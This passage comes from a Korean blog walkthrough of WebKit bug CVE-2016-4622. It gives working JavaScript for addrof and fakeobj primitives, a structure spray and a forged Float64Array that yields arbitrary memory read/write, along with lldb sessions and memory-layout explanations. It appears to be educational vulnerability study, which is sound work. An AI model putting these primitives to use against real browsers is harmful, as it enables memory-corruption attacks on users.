m_butterfly-&gt;contiguousDouble().data() + startIndex, sizeof(JSValue) * count);\n   699          else\n   700              memcpy(resultButterfly.contiguous().data(), m_butterfly-&gt;contiguous().data() + startIndex, sizeof(JSValue) * count);\n   701          resultButterfly.setPublicLength(count);\n(lldb) x\/4fg 0x000000010381c9d0\n0x10381c9d0: 0.13370000000000001\n0x10381c9d8: 1.1336999999999999\n0x10381c9e0: 8.4879831643551549E-314\n0x10381c9e8: 2.1511529288111623E-314 \u2190 \u2605 \ud0c0\uae43 \ud3ec\uc778\ud130\n\n(lldb) n\nProcess 864 stopped\n* thread #1: tid = 0x8232, 0x00000001006f9ba1 JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 529 at JSArray.cpp:701, queue = 'com.apple.main-thread', stop reason = step over\n    frame #0: 0x00000001006f9ba1 JavaScriptCore`JSC::JSArray::fastSlice(this=0x0000000103847e20, exec=0x00007fff5fbfdfe0, startIndex=0, count=4) + 529 at JSArray.cpp:701\n   698              memcpy(resultButterfly.contiguousDouble().data(), m_butterfly-&gt;contiguousDouble().data() + startIndex, sizeof(JSValue) * count);\n   699          else\n   700              memcpy(resultButterfly.contiguous().data(), m_butterfly-&gt;contiguous().data() + startIndex, sizeof(JSValue) * count);\n-&gt; 701          resultButterfly.setPublicLength(count);\n   702\n   703          return resultArray;\n   704      }\n(lldb) p\/x resultArray\n(JSC::JSArray *) $25 = 0x0000000103847e00\n(lldb) x\/2gx 0x0000000103847e00\n0x103847e00: 0x01201207000000a0 0x000000010381ca10\n(lldb) x\/4gx 0x000000010381c9d0\n0x10381c9d0: 0x3fc11d14e3bcd35b 0x3ff223a29c779a6b\n0x10381c9e0: 0x0000000400000001 0x0000000103847e30\n(lldb) x\/4fg 0x000000010381c9d0\n0x10381c9d0: 0.13370000000000001\n0x10381c9d8: 1.1336999999999999\n0x10381c9e0: 8.4879831643551549E-314\n0x10381c9e8: 2.1511529288111623E-314\n<\/code><\/pre>\n<h2>fakeobj<\/h2>\n<p>\uae30\ucd08\ub2e8\uacc4 \uc911 \ud558\ub098\uc778 fakeobj\ub294 \uc774\uc640 \uc644\uc804\ud788 \ubc18\ub300 \ubc29\uc2dd\uc73c\ub85c \ub3d9\uc791\ud55c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 JSValue \ubc30\uc5f4\uc5d0 \ub124\uc774\ud2f0\ube0c double \ud615 \uac12\uc744 \uc0bd\uc785\ud574 JSObject \ud3ec\uc778\ud130\ub97c \ub9cc\ub4e0\ub2e4.<\/p>\n<ol>\n<li>\uac1d\uccb4\ub4e4\uc758 \ubc30\uc5f4\uc744 \uc0dd\uc131\ud55c\ub2e4. \uc774 \ubc30\uc5f4\uc740 IndexingType\uc774 <code>ArrayWithContiguous<\/code>\ub85c \ubcf4\uad00\ub41c\ub2e4<\/li>\n<li>\ub2e4\uc74c\uacfc \uac19\uc740 \uc791\uc5c5\uc744 \uc218\ud589\ud560 <code>valueOf<\/code> \ud568\uc218\ub97c \uac00\uc9c4 \uac1d\uccb4\ub97c \uc0dd\uc131\ud55c\ub2e4\n<ol>\n<li>\uc774\uc804\uc5d0 \ub9cc\ub4e0 \ubc30\uc5f4\uc744 \ucd95\uc18c\ud55c\ub2e4<\/li>\n<li>\uc0c8\ub85c\uc6b4 \ubc30\uc5f4\uc744 \ud560\ub2f9\ud558\uace0, JSObject \ub85c \uc5bb\uace0\uc790 \ud558\ub294 \uc8fc\uc18c\ub97c \ube44\ud2b8\ud328\ud134\uc774 \ub3d9\uc77c\ud558\uac8c\ub054 double \ud615\uc73c\ub85c \ubcc0\ud658\ud558\uc5ec \ubc30\uc5f4 \uc548\uc5d0 \ub123\ub294\ub2e4. \uc774 double \ud615 \uac12\uc73c\ub85c \uc778\ud574 \ubc30\uc5f4\uc758 <code>IndexingType<\/code>\uc740 <code>ArrayWithDouble<\/code>\uc73c\ub85c \ubcc0\ud658\ub418\uba70, \uac12\uc740 native \ud615\ud0dc\ub85c \uc800\uc7a5\ub41c\ub2e4.<\/li>\n<li>\ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70\ud558\uae30 \uc704\ud574 \ucd95\uc18c\ud55c \ubc30\uc5f4\uc758 \ud06c\uae30\ubcf4\ub2e4 \ud070 \uac12\uc744 \ub9ac\ud134\ud55c\ub2e4<\/li>\n<\/ol>\n<\/li>\n<li>\ub300\uc0c1\uc774 \ub418\ub294 \ubc30\uc5f4\uc774 <code>slice()<\/code>\ub97c \ud638\ucd9c\ud560\ub54c 2\uc5d0\uc11c \uc0dd\uc131\ub41c \uac1d\uccb4\ub97c \uc778\uc790\uac12\uc73c\ub85c \uc0ac\uc6a9\ud55c\ub2e4.<\/li>\n<\/ol>\n<p>\uad6c\ud604\ub41c <code>fakeobj<\/code> \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<ul>\n<li>fakeobj.jsc<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">function Int64_fromDouble(d) {\n    var u = new Uint32Array(new Float64Array([d]).buffer);\n    var h = u[1].toString(16), l = u[0].toString(16);\n    while (h.length &lt; 8) h = '0' + h;\n    while (l.length &lt; 8) l = '0' + l;\n    return '0x' + h + l;\n}\n\nfunction asDouble(hex) {\n    var s = hex.replace(\/^0x\/, '');\n    while (s.length &lt; 16) s = '0' + s;\n    var hi = parseInt(s.substr(0, 8), 16), lo = parseInt(s.substr(8, 8), 16);\n    if (hi &gt;&gt;&gt; 16 == 0xffff || hi &gt;&gt;&gt; 16 == 0xfffe)\n        throw new RangeError('Cannot represent as a double because it is in the NaN range: ' + hex);\n    var f = new Float64Array(1);\n    new Uint32Array(f.buffer).set([lo, hi]);\n    return f[0];\n}\n\nfunction addrof(object) {\n    var a = [];\n    for (var i = 0; i &lt; 100; i++)\n        a.push(i + 0.1337);                 \/\/ ArrayWithDouble (unboxed)\n    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});\n    return Int64_fromDouble(b[3]);\n}\n\nfunction fakeobj(hex) {\n    var d = asDouble(hex);                  \/\/ \ubb38\uc790\uc5f4 \u2192 \ube44\ud2b8\uac00 \uc8fc\uc18c\uc778 double\n    var a = [];\n    for (var i = 0; i &lt; 100; i++)\n        a.push({});                         \/\/ ArrayWithContiguous (boxed)\n    return a.slice(0, {valueOf: function() { a.length = 0; a = [d]; return 4; }})[3];\n}\n\nvar target = [1, 2, 3, 4];\nprint('target : ' + describe(target));\n\nvar addr = addrof(target);\nprint('addrof : ' + addr);\n\nvar fake = fakeobj(addr);\nprint('fakeobj: ' + describe(fake));\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">seos-Mac:Debug seo$ sudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc -i fakeobj.jsc\n(lldb) target create &quot;.\/jsc&quot;\nCurrent executable set to '.\/jsc' (x86_64).\n(lldb) settings set -- target.run-args  &quot;-i&quot; &quot;fakeobj.jsc&quot;\n(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n(lldb) r\nProcess 1071 launched: '.\/jsc' (x86_64)\ntarget : Cell: 0x104047e30 (0x104033900:[Array, {}, ArrayWithInt32, Proto:0x104047f40]), ID: 159\naddrof : 0x0000000104047e30\nfakeobj: Cell: 0x104047e30 (0x104033900:[Array, {}, ArrayWithInt32, Proto:0x104047f40]), ID: 159\n&gt;&gt;&gt;\n<\/code><\/pre>\n<h2>R\/W<\/h2>\n<ul>\n<li>rw.jsc<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">function hexlify(bytes) {\n    var res = [];\n    for (var i = 0; i &lt; bytes.length; i++)\n        res.push(('0' + bytes[i].toString(16)).substr(-2));\n    return res.join('');\n}\nfunction unhexlify(hexstr, length) {\n    if (length &amp;&amp; hexstr.length &gt; length * 2)\n        hexstr = hexstr.substr(0, length * 2);\n    if (hexstr.length % 2 == 1) hexstr = '0' + hexstr;\n    var bytes = new Uint8Array(hexstr.length \/ 2);\n    for (var i = 0; i &lt; hexstr.length; i += 2)\n        bytes[i \/ 2] = parseInt(hexstr.substr(i, 2), 16);\n    return bytes;\n}\nvar Struct = (function() {\n    var buf = new ArrayBuffer(8);\n    var f64 = new Float64Array(buf);\n    var u8  = new Uint8Array(buf);\n    return {\n        float64: 0,\n        pack:   function(_, v)     { f64[0] = v; return new Uint8Array(u8); },\n        unpack: function(_, bytes) { u8.set(bytes); return f64[0]; }\n    };\n})();\n\nfunction Int64(v) {\n    var bytes = new Uint8Array(8);\n    switch (typeof v) {\n        case 'number':\n            v = '0x' + Math.floor(v).toString(16);\n        case 'string':\n            if (v.startsWith('0x')) v = v.substr(2);\n            if (v.length % 2 == 1)  v = '0' + v;\n            var bigEndian = unhexlify(v, 8);\n            bytes.set(Array.from(bigEndian).reverse());\n            break;\n        case 'object':\n            if (v instanceof Int64) {\n                bytes.set(v.bytes());\n            } else {\n                if (v.length != 8)\n                    throw TypeError(&quot;Array must have excactly 8 elements.&quot;);\n                bytes.set(v);\n            }\n            break;\n        case 'undefined':\n            break;\n        default:\n            throw TypeError(&quot;Int64 constructor requires an argument.&quot;);\n    }\n    this.asDouble = function() {\n        if (bytes[7] == 0xff &amp;&amp; (bytes[6] == 0xff || bytes[6] == 0xfe))\n            throw new RangeError(&quot;Integer can not be represented by a double&quot;);\n        return Struct.unpack(Struct.float64, bytes);\n    };\n    this.asJSValue = function() {\n        if ((bytes[7] == 0 &amp;&amp; bytes[6] == 0) || (bytes[7] == 0xff &amp;&amp; bytes[6] == 0xff))\n            throw new RangeError(&quot;Integer can not be represented by a JSValue&quot;);\n        this.assignSub(this, 0x1000000000000);\n        var res = Struct.unpack(Struct.float64, bytes);\n        this.assignAdd(this, 0x1000000000000);\n        return res;\n    };\n    this.bytes  = function()  { return Array.from(bytes); };\n    this.byteAt = function(i) { return bytes[i]; };\n    this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); };\n\n    function operation(f, nargs) {\n        return function() {\n            if (arguments.length != nargs)\n                throw Error(&quot;Not enough arguments for function &quot; + f.name);\n            for (var i = 0; i &lt; arguments.length; i++)\n                if (!(arguments[i] instanceof Int64))\n                    arguments[i] = new Int64(arguments[i]);\n            return f.apply(this, arguments);\n        };\n    }\n    this.assignNeg = operation(function neg(n) {\n        for (var i = 0; i &lt; 8; i++) bytes[i] = ~n.byteAt(i);\n        return this.assignAdd(this, Int64.One);\n    }, 1);\n    this.assignAdd = operation(function add(a, b) {\n        var carry = 0;\n        for (var i = 0; i &lt; 8; i++) {\n            var cur = a.byteAt(i) + b.byteAt(i) + carry;\n            carry = cur &gt; 0xff | 0;\n            bytes[i] = cur;\n        }\n        return this;\n    }, 2);\n    this.assignSub = operation(function sub(a, b) {\n        var carry = 0;\n        for (var i = 0; i &lt; 8; i++) {\n            var cur = a.byteAt(i) - b.byteAt(i) - carry;\n            carry = cur &lt; 0 | 0;\n            bytes[i] = cur;\n        }\n        return this;\n    }, 2);\n}\nInt64.fromDouble = function(d) {\n    var bytes = Struct.pack(Struct.float64, d);\n    return new Int64(bytes);\n};\nfunction Neg(n) { return (new Int64()).assignNeg(n); }\nfunction Add(a, b) { return (new Int64()).assignAdd(a, b); }\nfunction Sub(a, b) { return (new Int64()).assignSub(a, b); }\nInt64.Zero = new Int64(0);\nInt64.One  = new Int64(1);\n\nfunction addrof(object) {\n    var a = [];\n    for (var i = 0; i &lt; 100; i++)\n        a.push(i + 0.1337);                 \/\/ ArrayWithDouble\n    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});\n    return Int64.fromDouble(b[3]);\n}\nfunction fakeobj(addr) {\n    var a = [];\n    for (var i = 0; i &lt; 100; i++)\n        a.push({});                         \/\/ ArrayWithContiguous\n    addr = addr.asDouble();\n    return a.slice(0, {valueOf: function() { a.length = 0; a = [addr]; return 4; }})[3];\n}\n\nvar structs = [];\nfunction sprayStructures() {\n    function randomString() {\n        return Math.random().toString(36).replace(\/[^a-z]+\/g, '').substr(0, 5);\n    }\n    for (var i = 0; i &lt; 0x1000; i++) {\n        var a = new Float64Array(1);\n        a[randomString()] = 1337;\n        structs.push(a);\n    }\n}\n\nsprayStructures();\n\nvar hax = new Uint8Array(0x1000);\n\nprint(&quot;[*] Setting up container object&quot;);\n\nvar jsCellHeader = new Int64([\n    00, 0x10, 00, 00,       \/\/ m_structureID, current guess.\n                            \/\/ JSC allocats a set of structures for non-JSObjects (Executables, regular expression objects, ...)\n                            \/\/ during start up. Avoid these by picking a high initial ID.\n    0x0,                    \/\/ m_indexingType, None\n    0x27,                   \/\/ m_type, Float64Array (doesn't really matter, will be different for older versions)\n    0x18,                   \/\/ m_flags, OverridesGetOwnPropertySlot | InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero\n    0x1                     \/\/ m_cellState, NewWhite\n]);\n\nvar container = {\n    jsCellHeader: jsCellHeader.asJSValue(),\n    butterfly: false,\n    vector: hax,\n    lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()\n};\n\nvar address = Add(addrof(container), 16);\nprint(&quot;[*] Fake JSObject @ &quot; + address);\n\nvar fakearray = fakeobj(address);\n\nwhile (!(fakearray instanceof Float64Array)) {\n    jsCellHeader.assignAdd(jsCellHeader, Int64.One);\n    container.jsCellHeader = jsCellHeader.asJSValue();\n}\n\nprint(&quot;[*] Float64Array structure ID found: &quot; + jsCellHeader.toString().substr(-8));\n\n\/\/\n\/\/ We now have an arbitrary read+write primitive since we can overwrite the\n\/\/ data pointer of an Uint8Array with an arbitrary address.\n\/\/\n\/\/ Optimization: force JIT compilation for these methods.\n\/\/\nmemory = {\n    read: function(addr, length) {\n        print(&quot;[&lt;] Reading &quot; + length + &quot; bytes from &quot; + addr);\n        fakearray[2] = addr.asDouble();\n        var a = new Array(length);\n        for (var i = 0; i &lt; length; i++)\n            a[i] = hax[i];\n        return a;\n    },\n    readInt64: function(addr) {\n        return new Int64(this.read(addr, 8));\n    },\n    write: function(addr, data) {\n        print(&quot;[&gt;] Writing &quot; + data.length + &quot; bytes to &quot; + addr);\n        fakearray[2] = addr.asDouble();\n        for (var i = 0; i &lt; data.length; i++)\n            hax[i] = data[i];\n    },\n    writeInt64: function(addr, val) {\n        return this.write(addr, val.bytes());\n    }\n};\n\n\/\/ test\nvar buf = new Uint8Array(0x100);\nbuf[0] = 0x41;\nvar backing = memory.readInt64(Add(addrof(buf), 0x10));\n\nprint(&quot;[before] buf[0] = &quot; + buf[0]);                       \nprint(&quot;[read]   *backing = &quot; + memory.read(backing, 1)[0]); \nmemory.write(backing, [0xff]);                          \nprint(&quot;[after]  buf[0] = &quot; + buf[0]);  \n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">seos-Mac:Debug seo$ sudo xcrun lldb -o &quot;settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)&quot; -- .\/jsc -i rw.jsc\n(lldb) target create &quot;.\/jsc&quot;\nCurrent executable set to '.\/jsc' (x86_64).\n(lldb) settings set -- target.run-args  &quot;-i&quot; &quot;rw.jsc&quot;\n(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\n(lldb) r\nProcess 1127 launched: '.\/jsc' (x86_64)\n[*] Setting up container object\n[*] Fake JSObject @ 0x0000000106173260\n[*] Float64Array structure ID found: 00001000\n[&lt;] Reading 8 bytes from 0x00000001061631d0\n[before] buf[0] = 65\n[&lt;] Reading 1 bytes from 0x000000010612cd78\n[read]   *backing = 65\n[&gt;] Writing 1 bytes to 0x000000010612cd78\n[after]  buf[0] = 255\n<\/code><\/pre>\n<h3>1. <code>sprayStructures()<\/code> \u2014 \ubc88\ud638\ud45c\uc758 \u201c\uad6c\uba4d\u201d \uba54\uc6b0\uae30<\/h3>\n<p><code>sprayStructure()<\/code>\ubd80\ud130 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p><code>a[randomString()] = 1337;<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574 \ud504\ub85c\ud37c\ud2f0\uac00 \ucd94\uac00\ub418\uba70, \uadf8\ub807\uac8c \ud558\ub294 \uc774\uc720\ub294 <code>IndexingType<\/code>\uc774 \ubc14\ub00c\uba74 <code>Structure<\/code>\uac00 \uc804\uc774\ub418\uae30 \ub54c\ubb38\uc774\ub2e4. \uc5ec\uae30\uc11c Structure\ub780, Structure \ud3ec\uc778\ud130\ub97c \uc9c1\uc811 \ub2f4\ub294 \uac8c \uc544\ub2c8\ub77c \ubcc4\ub3c4 \ud45c(StructureIDTable)\uc758 \uc778\ub371\uc2a4\ub85c \ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/structure_id_indirection.svg\" alt=\"structure_id_indirection.svg\"><\/p>\n<p><code>new Float64Array(1)<\/code> \ucf54\ub4dc\ub85c \uadf8\ub0e5 \uc5ec\ub7ec\uac1c \ub9cc\ub4e4\uba74 \uc804\ubd80 \uac19\uc740 Structure\ub97c \uacf5\uc720\ud55c\ub2e4. \ud558\uc9c0\ub9cc <code>a.abcde = 1337<\/code>\ucc98\ub7fc \uc0c8 \uc774\ub984\uc758 \ud504\ub85c\ud37c\ud2f0\ub97c \ubd99\uc774\uba74 \ubaa8\uc591\uc774 \ub2ec\ub77c\uc838\uc11c \uc0c8 Structure\uac00 \uc0dd\uae34\ub2e4.<\/p>\n<p><code>randomString()<\/code>\uc73c\ub85c \ub9e4\ubc88 \ub2e4\ub978 \uc774\ub984\uc744 \uc4f0\ub294 \uc774\uc720\ub294 <code>a.foo<\/code>, <code>a.bar<\/code>, <code>a.baz<\/code>\u2026 \uc804\ubd80 \ub2e4\ub978 \ubaa8\uc591\uc774 \uace7 \uc804\ubd80 \ub2e4\ub978 Structure\uac00 \ub418\ubbc0\ub85c \ubc88\ud638\ud45c\uc5d0 \uc0c8 \ud56d\ubaa9\uc774 0x1000\uac1c \ucd94\uac00\ub41c\ub2e4.<\/p>\n<p>\uc989, 0x1000\uac1c\uc758 \uc9c4\uc9dc Structure\ub85c \ucc44\uc6b0\uae30 \uc704\ud574 \uc2a4\ud504\ub808\uc774\ud55c\ub2e4\uace0 \ubcf4\uba74 \ub420 \ub4ef \uc2f6\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var structs = [];\nfunction sprayStructures() {\n    function randomString() {\n        return Math.random().toString(36).replace(\/[^a-z]+\/g, '').substr(0, 5);\n    }\n    for (var i = 0; i &lt; 0x1000; i++) {\n        var a = new Float64Array(1);\n        a[randomString()] = 1337;\n        structs.push(a);\n    }\n}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/spray_fills_holes.svg\" alt=\"spray_fills_holes.svg\"><\/p>\n<h3>2. \uac00\uc9dc \uac1d\uccb4 \uc7ac\ub8cc \uc900\ube44<\/h3>\n<p>\uc9c0\uae08\uc740 \ud3c9\ubc94\ud55c \ubc14\uc774\ud2b8 \ubc30\uc5f4\uc774\uc9c0\ub9cc,<\/p>\n<p>\ucd94\ud6c4 \uac00\uc9dc <code>Float64Array<\/code>\uc758 \ub370\uc774\ud130 \ud3ec\uc778\ud130\uac00 \uc774 <code>hax<\/code>\uc758 \ub0b4\ubd80\ub97c \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4e4\uc5b4\uc11c,<\/p>\n<p><code>hax<\/code>\ub97c \ud1b5\ud574 \uba54\ubaa8\ub9ac\ub97c \uc77d\uace0 \uc4f8 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var hax = new Uint8Array(0x1000);\n<\/code><\/pre>\n<p>\ub9cc\ub4e4\uc5b4\uc9c8 \uac00\uc9dc JSCell \ud5e4\ub354\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>\ubc14\uc774\ud2b8 \uc21c\uc11c\uac00 \ub9ac\ud2c0\uc5d4\ub514\uc548\uc774\ub77c <code>[00, 0x10, 00, 00]<\/code>\uc774 <code>m_structureID = 0x00001000<\/code>\uc774\ub2e4.<\/p>\n<p><code>m_type<\/code>\uc740 <code>Float64ArrayType<\/code>\uc778 0x25 (<code>Source\\JavaScriptCore\\runtime\\JSType.h:72<\/code>)\ub85c \ub418\uc5b4\uc788\ub2e4.<\/p>\n<p><code>m_cellState<\/code>\ub294 1\ubc14\uc774\ud2b8\uc774\uba70 <code>Black<\/code>(0), <code>White<\/code>(1), <code>Grey<\/code>(2)\ub77c\ub294 \uc138 \uac00\uc9c0 \uc0c9\uc0c1 \uc911 \ud558\ub098\uc77c \uc218 \uc788\ub294\ub370, \uc5ec\uae30\uc11c\ub294 Eden\uc5d0 \ubc29\uae08 \ud560\ub2f9\ub41c \uac1d\uccb4\ub97c \uc758\ubbf8\uc778 <code>White<\/code> (1)\ub85c \uc9c0\uc815\ub418\uc5b4\uc788\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var hax = new Uint8Array(0x1000);\n\nprint(&quot;[*] Setting up container object&quot;);\n\nvar jsCellHeader = new Int64([\n    00, 0x10, 00, 00,       \/\/ m_structureID, current guess.\n                            \/\/ JSC allocats a set of structures for non-JSObjects (Executables, regular expression objects, ...)\n                            \/\/ during start up. Avoid these by picking a high initial ID.\n    0x0,                    \/\/ m_indexingType, None\n    0x25,                   \/\/ m_type, Float64Array (doesn't really matter, will be different for older versions)\n    0x18,                   \/\/ m_flags, OverridesGetOwnPropertySlot | InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero\n    0x1                     \/\/ m_cellState, NewWhite\n]);\n<\/code><\/pre>\n<p>\uac00\uc9dc \uac1d\uccb4\ub97c \u201c\uc228\uae34\u201d \ud3c9\ubc94\ud55c \uac1d\uccb4\uc778 <code>container<\/code>\ub97c \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var container = {\n    jsCellHeader: jsCellHeader.asJSValue(),\n    butterfly: false,\n    vector: hax,\n    lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()\n};\n<\/code><\/pre>\n<p>JSC\uc5d0\uc11c <code>{}<\/code> \uac1d\uccb4\uc758 \ud504\ub85c\ud37c\ud2f0\ub294 \uc140 \ubc14\ub85c \ub4a4\uc5d0 \uc21c\uc11c\ub300\ub85c \uc778\ub77c\uc778\uc73c\ub85c \uc800\uc7a5\ub420 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">container \uac1d\uccb4\uc758 \uba54\ubaa8\ub9ac:\n  +0x00  container \uc790\uc2e0\uc758 JSCell \ud5e4\ub354\n  +0x08  container \uc790\uc2e0\uc758 m_butterfly\n  +0x10  inline[0] = jsCellHeader     \u2190 \uc5ec\uae30!\n  +0x18  inline[1] = butterfly (false)\n  +0x20  inline[2] = vector (hax)\n  +0x28  inline[3] = lengthAndFlags\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/container_memory_layout.svg\" alt=\"container_memory_layout.svg\"><\/p>\n<ul>\n<li>\uc2e4\uc81c \ub364\ud504 \uacb0\uacfc:<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">&gt;&gt;&gt; describe(container)\nCell: 0x10794b250 (0x107941750:[Object, {jsCellHeader:0, butterfly:1, vector:2, lengthAndFlags:3}, NonArray, Proto:0x103c47ff0]), ID: 4522\n\n(lldb) x\/6gx 0x10794b250\n0x10794b250: 0x01001300000011aa 0x0000000000000000\n0x10794b260: 0x0118250000001000 0x0000000000000006\n0x10794b270: 0x000000010793b520 0x0001000000000010\n<\/code><\/pre>\n<p>\uc774\uc81c <code>JSArrayBufferView<\/code>(= Float64Array)\uc758 \uc2e4\uc81c \uba54\ubaa8\ub9ac \ub808\uc774\uc544\uc6c3\uc744 \uc18c\uc2a4\ucf54\ub4dc\uc5d0\uc11c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p><code>Source\\JavaScriptCore\\runtime\\JSArrayBufferView.h:180-182<\/code><\/p>\n<pre><code class=\"language-jsx\">class JSArrayBufferView : public JSNonFinalObject {\n    \/\/ (JSCell \ud5e4\ub354 8 + m_butterfly 8 \uc744 \uc0c1\uc18d)\n    void* m_vector;         \/\/ +0x10\n    uint32_t m_length;      \/\/ +0x18\n    TypedArrayMode m_mode;  \/\/ +0x1c\n};\n<\/code><\/pre>\n<p>\ub450 \ub808\uc774\uc544\uc6c3\uc744 \uacb9\uccd0\ubcf4\uc790.<\/p>\n<p><code>container<\/code>\uc758 \ud504\ub85c\ud37c\ud2f0\ub4e4\uc744 <code>+0x10<\/code>\uc5d0\uc11c \uc2dc\uc791\ud558\ub294 \uac00\uc9dc <code>Float64Array<\/code>\ub85c \ud574\uc11d\ud558\uba74:<\/p>\n<table>\n<thead>\n<tr>\n<th>\uac00\uc9dc Float64Array \ud544\ub4dc<\/th>\n<th>\uc624\ud504\uc14b<\/th>\n<th>container\uac00 \ub123\uc5b4\ub454 \uac12<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>m_structureID<\/code>(\ud5e4\ub354)<\/td>\n<td><code>+0x00<\/code><\/td>\n<td><code>jsCellHeader<\/code> (structureID 0x1000\u2026)<\/td>\n<\/tr>\n<tr>\n<td><code>m_butterfly<\/code><\/td>\n<td><code>+0x08<\/code><\/td>\n<td><code>false<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>m_vector<\/code><\/td>\n<td><code>+0x10<\/code><\/td>\n<td><strong><code>hax<\/code><\/strong><\/td>\n<\/tr>\n<tr>\n<td><code>m_length<\/code> + <code>m_mode<\/code><\/td>\n<td><code>+0x18<\/code><\/td>\n<td><code>0x0001000000000010<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/container_overlay_float64array.svg\" alt=\"container_overlay_float64array.svg\"><\/p>\n<p><code>jsCellHeader<\/code>\uac00 \uac00\uc9dc \ubc30\uc5f4\uc758 \uc140 \ud5e4\ub354\uac00 \ub418\uace0, <code>hax<\/code>\uac00 \ub370\uc774\ud130 \ud3ec\uc778\ud130(<code>m_vector<\/code>)\uac00 \ub420 \uac83\uc774\ub2e4.<\/p>\n<p><code>lengthAndFlags<\/code>\uc758 \ud558\uc704 4\ubc14\uc774\ud2b8 <code>0x10<\/code>\uc774 <code>m_length<\/code>(\uae38\uc774 16),<\/p>\n<p>\uc0c1\uc704 <code>0x0001<\/code>\uc774 <code>m_mode<\/code>\uac00 \ub41c\ub2e4.<\/p>\n<p><code>asJSValue()<\/code>\ub97c \ud638\ucd9c\ud558\ub294 \uc774\uc720\ub294 \uc774 \uac12\ub4e4\uc774 boxed \uc2ac\ub86f(container\uc758 \ud504\ub85c\ud37c\ud2f0)\uc5d0 \uc800\uc7a5\ub418\ub2c8\uae4c, \ub098\uc911\uc5d0 \uac00\uc9dc \ubc30\uc5f4\uc774 \uc774\uac78 raw\ub85c \uc77d\uc744 \ub54c \uc6d0\ud558\ub294 \ube44\ud2b8\uac00 \ub098\uc624\ub3c4\ub85d \ubbf8\ub9ac \ubcf4\uc815\uc744 \ud55c\ub2e4.<\/p>\n<h3>3. \uac00\uc9dc \uac1d\uccb4 \uc8fc\uc18c \uc5bb\uae30 &amp; \uc704\uc870<\/h3>\n<ul>\n<li><code>addrof(container)<\/code>: container\uc758 \uc2e4\uc81c \uc8fc\uc18c\ub97c \uc5bb\ub294\ub2e4.<\/li>\n<li><code>+16<\/code>: <code>container<\/code>\uc758 \uccab \ud504\ub85c\ud37c\ud2f0(<code>jsCellHeader<\/code>)\uac00 \uc788\ub294 \uacf3. \uc5ec\uae30\uac00 \uac00\uc9dc \ubc30\uc5f4\uc758 \uc2dc\uc791\uc810\uc774\ub2e4.<\/li>\n<li><code>fakeobj(address)<\/code>: \uadf8 \uc8fc\uc18c\ub97c JSObject \ud3ec\uc778\ud130\ub85c \uc704\uc870\ud55c\ub2e4.<\/li>\n<\/ul>\n<p>\uc774\uc81c <code>fakearray<\/code>\ub294 \uc5d4\uc9c4\uc774 \ubcf4\uae30\uc5d0 \uc0b4\uc544\uc788\ub294 \uac1d\uccb4\ub85c \ubcf4\uc77c \uac83\uc774\ub2e4.  \uadf8 \uac1d\uccb4\uc758 \uc140 \ud5e4\ub354\ub294 \uc6b0\ub9ac\uac00 \uc870\ub9bd\ud55c <code>jsCellHeader<\/code>\uc774\uace0, \ub370\uc774\ud130 \ud3ec\uc778\ud130\ub294 <code>hax<\/code> \uac00 \ub41c\ub2e4.<\/p>\n<p>\uc774 \uc21c\uac04\ubd80\ud130 GC\uac00 \ub3cc\uba74 \ud06c\ub798\uc2dc\ub41c\ub2e4**.** <code>m_butterfly<\/code> \uc790\ub9ac\uc5d0 <code>false<\/code>\uac00 \ub4e4\uc5b4\uc788\uc5b4\uc11c, GC\uac00 \uc774 butterfly\ub97c \ubc29\ubb38\ud558\ub824\ub2e4 \uc8fd\ub294\ub2e4. \uadf8\ub798\uc11c \uc6d0\ubcf8 